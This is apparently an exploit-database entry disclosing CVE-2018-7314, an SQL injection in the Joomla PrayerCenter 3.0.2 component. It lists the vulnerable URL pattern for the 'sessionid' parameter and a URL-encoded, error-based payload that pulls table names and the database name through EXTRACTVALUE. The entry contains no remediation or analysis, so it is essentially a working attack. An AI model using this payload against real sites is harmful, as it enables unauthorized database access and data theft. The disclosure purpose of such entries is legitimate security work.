Joomla! Component PrayerCenter 3.0.2 - 'sessionid' SQL Injection

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# Exploit Title: Joomla! Component PrayerCenter 3.0.2 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: http://www.mlwebtechnologies.com/
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/prayercenter/
# Software Download: http://mlwebtechnologies.github.io/PrayerCenter/
# Software Download: https://github.com/MLWebTechnologies/PrayerCenter/releases/download/3.0.2/PrayerCenter302Unzip1st.zip
# Version: 3.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7314
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# Exploit Author: Ihsan Sencan
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# POC:
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# 1)
# http://localhost/[PATH]/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=[SQL]
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# %31%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%74%61%62%6c%65%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
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